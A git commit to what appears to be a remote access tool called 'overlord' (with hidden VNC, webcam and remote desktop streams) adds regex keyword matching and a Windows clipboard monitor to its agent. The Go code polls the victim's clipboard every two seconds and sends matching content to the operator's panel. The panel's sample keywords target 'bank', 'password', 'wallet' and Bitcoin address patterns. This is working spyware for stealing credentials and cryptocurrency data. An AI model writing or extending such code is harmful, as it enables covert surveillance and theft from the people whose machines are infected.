add regex support and clipboard support to notification center

This commit is contained in:
KingKDot
2026-03-18 23:46:44 -05:00
parent a73707c930
commit 6c7a71533c
15 changed files with 295 additions and 31 deletions
@@ -91,23 +91,6 @@ func Start(ctx context.Context, env *runtime.Env) error {
} }
} }
func matchKeyword(title string, keywords []string) string {
if title == "" {
return ""
}
lower := strings.ToLower(title)
for _, kw := range keywords {
k := strings.ToLower(strings.TrimSpace(kw))
if k == "" {
continue
}
if strings.Contains(lower, k) {
return kw
}
}
return ""
}
func getActiveWindow() (string, uint32) { func getActiveWindow() (string, uint32) {
hwnd := getForegroundWindow() hwnd := getForegroundWindow()
if hwnd == 0 { if hwnd == 0 {
@@ -0,0 +1,13 @@
//go:build !windows
package activewindow
import (
"context"
"overlord-client/cmd/agent/runtime"
)
func StartClipboard(_ context.Context, _ *runtime.Env) error {
return nil
}
@@ -0,0 +1,127 @@
//go:build windows
package activewindow
import (
"context"
"log"
"strings"
"time"
"unsafe"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGlobalLock = kernel32.NewProc("GlobalLock")
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
procOpenClipboard = user32.NewProc("OpenClipboard")
procCloseClipboard = user32.NewProc("CloseClipboard")
procGetClipboardData = user32.NewProc("GetClipboardData")
)
const cfUnicodeText = 13
func StartClipboard(ctx context.Context, env *runtime.Env) error {
if env == nil {
return nil
}
log.Printf("clipboard: starting monitor")
defer log.Printf("clipboard: stopped")
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
var lastContent string
lastSent := make(map[string]int64)
for {
select {
case <-ctx.Done():
return nil
case <-ticker.C:
if !env.GetClipboardEnabled() {
continue
}
keywords := env.GetNotificationKeywords()
if len(keywords) == 0 {
continue
}
minIntervalMs := env.GetNotificationMinIntervalMs()
content := readClipboardText()
if content == "" || content == lastContent {
continue
}
lastContent = content
match := matchKeyword(content, keywords)
if match == "" {
continue
}
if minIntervalMs > 0 {
key := "clipboard:" + strings.ToLower(match)
if last, ok := lastSent[key]; ok {
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
continue
}
}
lastSent[key] = time.Now().UnixMilli()
}
title := content
if len(title) > 300 {
title = title[:300]
}
note := wire.Notification{
Type: "notification",
Category: "clipboard",
Title: title,
Keyword: match,
TS: time.Now().UnixMilli(),
}
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
log.Printf("clipboard: send notification failed: %v", err)
}
}
}
}
func readClipboardText() string {
r, _, _ := procOpenClipboard.Call(0)
if r == 0 {
return ""
}
defer procCloseClipboard.Call()
h, _, _ := procGetClipboardData.Call(cfUnicodeText)
if h == 0 {
return ""
}
ptr, _, _ := procGlobalLock.Call(h)
if ptr == 0 {
return ""
}
defer procGlobalUnlock.Call(h)
return utf16PtrFromUintptr(ptr)
}
func utf16PtrFromUintptr(ptr uintptr) string {
if ptr == 0 {
return ""
}
n := 0
for {
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
if v == 0 {
break
}
n++
if n > 1<<20 {
break
}
}
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
return windows.UTF16ToString(u16)
}
@@ -0,0 +1,55 @@
package activewindow
import (
"regexp"
"strings"
)
func matchKeyword(text string, keywords []string) string {
if text == "" {
return ""
}
lower := strings.ToLower(text)
for _, kw := range keywords {
trimmed := strings.TrimSpace(kw)
if trimmed == "" {
continue
}
if strings.HasPrefix(trimmed, "/") {
re, ok := parseRegexKeyword(trimmed)
if ok && re.MatchString(text) {
return kw
}
} else {
if strings.Contains(lower, strings.ToLower(trimmed)) {
return kw
}
}
}
return ""
}
func parseRegexKeyword(kw string) (*regexp.Regexp, bool) {
if !strings.HasPrefix(kw, "/") {
return nil, false
}
rest := kw[1:]
lastSlash := strings.LastIndex(rest, "/")
if lastSlash < 0 {
return nil, false
}
pattern := rest[:lastSlash]
flags := rest[lastSlash+1:]
if pattern == "" {
return nil, false
}
regexStr := pattern
if strings.ContainsRune(flags, 'i') {
regexStr = "(?i)" + pattern
}
re, err := regexp.Compile(regexStr)
if err != nil {
return nil, false
}
return re, true
}
@@ -16,6 +16,7 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
var keywords []string var keywords []string
minInterval := 0 minInterval := 0
clipboardEnabled := false
if raw, ok := envelope["notification"].(map[string]interface{}); ok { if raw, ok := envelope["notification"].(map[string]interface{}); ok {
if rawKeywords, ok := raw["keywords"].([]interface{}); ok { if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
@@ -34,11 +35,14 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
if v, ok := raw["minIntervalMs"].(int); ok { if v, ok := raw["minIntervalMs"].(int); ok {
minInterval = v minInterval = v
} }
if v, ok := raw["clipboardEnabled"].(bool); ok {
clipboardEnabled = v
}
} }
if len(keywords) > 0 || minInterval > 0 { if len(keywords) > 0 || minInterval > 0 {
env.SetNotificationConfig(keywords, minInterval) env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
log.Printf("hello ack: loaded %d notification keywords", len(keywords)) log.Printf("hello ack: loaded %d notification keywords clipboard=%v", len(keywords), clipboardEnabled)
} }
return nil return nil
} }
@@ -15,6 +15,7 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
var keywords []string var keywords []string
minInterval := 0 minInterval := 0
clipboardEnabled := false
if raw, ok := envelope["keywords"].([]interface{}); ok { if raw, ok := envelope["keywords"].([]interface{}); ok {
for _, v := range raw { for _, v := range raw {
@@ -32,8 +33,11 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
if v, ok := envelope["minIntervalMs"].(int); ok { if v, ok := envelope["minIntervalMs"].(int); ok {
minInterval = v minInterval = v
} }
if v, ok := envelope["clipboardEnabled"].(bool); ok {
clipboardEnabled = v
}
env.SetNotificationConfig(keywords, minInterval) env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
log.Printf("notification_config: loaded %d keywords", len(keywords)) log.Printf("notification_config: loaded %d keywords clipboard=%v", len(keywords), clipboardEnabled)
return nil return nil
} }
+9 -1
View File
@@ -46,15 +46,17 @@ type Env struct {
NotificationMu sync.RWMutex NotificationMu sync.RWMutex
NotificationKeywords []string NotificationKeywords []string
NotificationMinIntervalMs int NotificationMinIntervalMs int
NotificationClipboard bool
LastPongUnixMs int64 LastPongUnixMs int64
} }
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) { func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) {
e.NotificationMu.Lock() e.NotificationMu.Lock()
e.NotificationKeywords = keywords e.NotificationKeywords = keywords
if minIntervalMs > 0 { if minIntervalMs > 0 {
e.NotificationMinIntervalMs = minIntervalMs e.NotificationMinIntervalMs = minIntervalMs
} }
e.NotificationClipboard = clipboardEnabled
e.NotificationMu.Unlock() e.NotificationMu.Unlock()
} }
@@ -75,6 +77,12 @@ func (e *Env) GetNotificationMinIntervalMs() int {
return e.NotificationMinIntervalMs return e.NotificationMinIntervalMs
} }
func (e *Env) GetClipboardEnabled() bool {
e.NotificationMu.RLock()
defer e.NotificationMu.RUnlock()
return e.NotificationClipboard
}
func (e *Env) SetLastPong(tsMillis int64) { func (e *Env) SetLastPong(tsMillis int64) {
if tsMillis <= 0 { if tsMillis <= 0 {
tsMillis = time.Now().UnixMilli() tsMillis = time.Now().UnixMilli()
+6
View File
@@ -482,6 +482,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
} }
}) })
goSafe("clipboard", nil, func() {
if err := activewindow.StartClipboard(ctx, env); err != nil {
log.Printf("clipboard error: %v", err)
}
})
return <-readErr return <-readErr
} }
+14 -1
View File
@@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint")
// Keyword section // Keyword section
const keywordSection = document.getElementById("keyword-section"); const keywordSection = document.getElementById("keyword-section");
const keywordInput = document.getElementById("keyword-input"); const keywordInput = document.getElementById("keyword-input");
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
const saveKeywordsBtn = document.getElementById("save-keywords"); const saveKeywordsBtn = document.getElementById("save-keywords");
const keywordHint = document.getElementById("keyword-hint"); const keywordHint = document.getElementById("keyword-hint");
@@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) {
// ── Notification table row ──────────────────────────────────────────────────── // ── Notification table row ────────────────────────────────────────────────────
function renderRow(item, prepend = true) { function renderRow(item, prepend = true) {
if (!listEl) return; if (!listEl) return;
const isClipboard = item.category === "clipboard";
const sourceBadge = isClipboard
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
const row = document.createElement("tr"); const row = document.createElement("tr");
row.className = "border-t border-slate-800/60"; row.className = "border-t border-slate-800/60";
row.innerHTML = ` row.innerHTML = `
@@ -185,6 +190,7 @@ function renderRow(item, prepend = true) {
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td> <td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td> <td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td> <td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${sourceBadge}</td>
<td class="py-2 pr-4"><div class="preview-slot"></div></td> <td class="py-2 pr-4"><div class="preview-slot"></div></td>
`; `;
@@ -283,6 +289,9 @@ async function loadKeywords() {
const keywords = data?.notifications?.keywords || []; const keywords = data?.notifications?.keywords || [];
keywordInput.value = keywords.join("\n"); keywordInput.value = keywords.join("\n");
renderKeywordHint(keywords.length); renderKeywordHint(keywords.length);
if (clipboardEnabledInput) {
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
}
} catch {} } catch {}
} }
@@ -290,11 +299,12 @@ function wireKeywordSave() {
if (!saveKeywordsBtn || !keywordInput) return; if (!saveKeywordsBtn || !keywordInput) return;
saveKeywordsBtn.addEventListener("click", async () => { saveKeywordsBtn.addEventListener("click", async () => {
const keywords = parseKeywords(keywordInput.value); const keywords = parseKeywords(keywordInput.value);
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
try { try {
const res = await fetch("/api/notifications/config", { const res = await fetch("/api/notifications/config", {
method: "PUT", method: "PUT",
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
body: JSON.stringify({ keywords }), body: JSON.stringify({ keywords, clipboardEnabled }),
}); });
if (!res.ok) { if (!res.ok) {
window.showToast?.("Failed to save keywords", "error", 4000); window.showToast?.("Failed to save keywords", "error", 4000);
@@ -304,6 +314,9 @@ function wireKeywordSave() {
const updated = data?.notifications?.keywords || keywords; const updated = data?.notifications?.keywords || keywords;
keywordInput.value = updated.join("\n"); keywordInput.value = updated.join("\n");
renderKeywordHint(updated.length); renderKeywordHint(updated.length);
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
}
window.showToast?.("Keywords updated", "success", 3000); window.showToast?.("Keywords updated", "success", 3000);
} catch { } catch {
window.showToast?.("Failed to save keywords", "error", 4000); window.showToast?.("Failed to save keywords", "error", 4000);
+9 -4
View File
@@ -35,7 +35,7 @@
<div> <div>
<h1 class="text-2xl font-semibold">Notifications</h1> <h1 class="text-2xl font-semibold">Notifications</h1>
<p class="text-slate-400"> <p class="text-slate-400">
Active window alerts based on configured title keywords Active window &amp; clipboard alerts based on configured keyword patterns
</p> </p>
</div> </div>
<div class="flex flex-wrap items-center gap-3"> <div class="flex flex-wrap items-center gap-3">
@@ -55,7 +55,7 @@
<div> <div>
<h2 class="text-lg font-semibold">Keyword Configuration</h2> <h2 class="text-lg font-semibold">Keyword Configuration</h2>
<p class="text-sm text-slate-400"> <p class="text-sm text-slate-400">
One keyword per line. Changes apply to connected agents immediately. (Shared global setting) One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
</p> </p>
</div> </div>
<button <button
@@ -69,9 +69,13 @@
<textarea <textarea
id="keyword-input" id="keyword-input"
rows="5" rows="5"
placeholder="bank&#10;password&#10;admin" placeholder="bank&#10;password&#10;admin&#10;/crypto|wallet/i&#10;/\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500" class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
></textarea> ></textarea>
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
Monitor clipboard content for keyword matches
</label>
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div> <div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
</div> </div>
@@ -267,9 +271,10 @@
<th class="py-2 pr-4">Time</th> <th class="py-2 pr-4">Time</th>
<th class="py-2 pr-4">Client</th> <th class="py-2 pr-4">Client</th>
<th class="py-2 pr-4">User</th> <th class="py-2 pr-4">User</th>
<th class="py-2 pr-4">Window Title</th> <th class="py-2 pr-4">Title / Content</th>
<th class="py-2 pr-4">Process</th> <th class="py-2 pr-4">Process</th>
<th class="py-2 pr-4">Keyword</th> <th class="py-2 pr-4">Keyword</th>
<th class="py-2 pr-4">Source</th>
<th class="py-2 pr-4">Preview</th> <th class="py-2 pr-4">Preview</th>
</tr> </tr>
</thead> </thead>
+6
View File
@@ -39,6 +39,7 @@ export interface Config {
telegramEnabled: boolean; telegramEnabled: boolean;
telegramBotToken: string; telegramBotToken: string;
telegramChatId: string; telegramChatId: string;
clipboardEnabled: boolean;
}; };
security: { security: {
sessionTtlHours: number; sessionTtlHours: number;
@@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = {
telegramEnabled: false, telegramEnabled: false,
telegramBotToken: "", telegramBotToken: "",
telegramChatId: "", telegramChatId: "",
clipboardEnabled: false,
}, },
security: { security: {
sessionTtlHours: 168, sessionTtlHours: 168,
@@ -366,6 +368,10 @@ export function loadConfig(): Config {
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID || process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
fileConfig.notifications?.telegramChatId || fileConfig.notifications?.telegramChatId ||
DEFAULT_CONFIG.notifications.telegramChatId, DEFAULT_CONFIG.notifications.telegramChatId,
clipboardEnabled:
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
}, },
security: { security: {
sessionTtlHours: sessionTtlHours:
+2
View File
@@ -35,6 +35,7 @@ export type HelloAck = {
notification?: { notification?: {
keywords: string[]; keywords: string[];
minIntervalMs?: number; minIntervalMs?: number;
clipboardEnabled?: boolean;
}; };
}; };
export type Ping = { type: "ping"; ts?: number }; export type Ping = { type: "ping"; ts?: number };
@@ -271,6 +272,7 @@ export type NotificationConfig = {
type: "notification_config"; type: "notification_config";
keywords: string[]; keywords: string[];
minIntervalMs?: number; minIntervalMs?: number;
clipboardEnabled?: boolean;
}; };
export type WireMessage = export type WireMessage =
@@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes(
.filter(Boolean) .filter(Boolean)
.slice(0, 200); .slice(0, 200);
for (const kw of keywords) {
if (kw.startsWith("/")) {
const lastSlash = kw.lastIndexOf("/", kw.length - 1);
if (lastSlash <= 0) {
return Response.json(
{ error: `Invalid regex keyword (missing closing /): ${kw}` },
{ status: 400 },
);
}
const pattern = kw.slice(1, lastSlash);
const flags = kw.slice(lastSlash + 1);
const invalidFlags = flags.replace(/[gimsuy]/g, "");
if (invalidFlags.length > 0) {
return Response.json(
{ error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` },
{ status: 400 },
);
}
try {
new RegExp(pattern, flags);
} catch (e: any) {
return Response.json(
{ error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` },
{ status: 400 },
);
}
}
}
const webhookEnabled = const webhookEnabled =
typeof body?.webhookEnabled === "boolean" typeof body?.webhookEnabled === "boolean"
? body.webhookEnabled ? body.webhookEnabled
@@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes(
typeof body?.telegramChatId === "string" typeof body?.telegramChatId === "string"
? body.telegramChatId.trim() ? body.telegramChatId.trim()
: currentConfig.telegramChatId || ""; : currentConfig.telegramChatId || "";
const clipboardEnabled =
typeof body?.clipboardEnabled === "boolean"
? body.clipboardEnabled
: currentConfig.clipboardEnabled || false;
if (webhookUrl) { if (webhookUrl) {
try { try {
@@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes(
telegramEnabled, telegramEnabled,
telegramBotToken, telegramBotToken,
telegramChatId, telegramChatId,
clipboardEnabled,
}); });
for (const client of clientManager.getAllClients().values()) { for (const client of clientManager.getAllClients().values()) {
@@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes(
type: "notification_config", type: "notification_config",
keywords: updated.keywords || [], keywords: updated.keywords || [],
minIntervalMs: updated.minIntervalMs || 8000, minIntervalMs: updated.minIntervalMs || 8000,
clipboardEnabled: updated.clipboardEnabled || false,
}), }),
); );
} catch {} } catch {}
@@ -31,7 +31,7 @@ type WsLifecycleDeps = {
rdStreamingState: Map<string, unknown>; rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>; hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>; webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
notification: { notification: {
keywords: notificationConfig.keywords || [], keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000, minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
}, },
}), }),
); );
@@ -19,7 +19,7 @@ type NotificationRecord = {
processPath?: string; processPath?: string;
pid?: number; pid?: number;
keyword?: string; keyword?: string;
category: "active_window"; category: "active_window" | "clipboard";
ts: number; ts: number;
screenshotId?: string; screenshotId?: string;
}; };
@@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return; return;
} }
const info = clientManager.getClient(clientId); const info = clientManager.getClient(clientId);
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`); const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
const record: NotificationRecord = { const record: NotificationRecord = {
id: uuidv4(), id: uuidv4(),
clientId, clientId,
@@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
processPath: typeof payload.processPath === "string" ? payload.processPath : "", processPath: typeof payload.processPath === "string" ? payload.processPath : "",
pid: Number(payload.pid) || undefined, pid: Number(payload.pid) || undefined,
keyword, keyword,
category: "active_window", category,
ts, ts,
}; };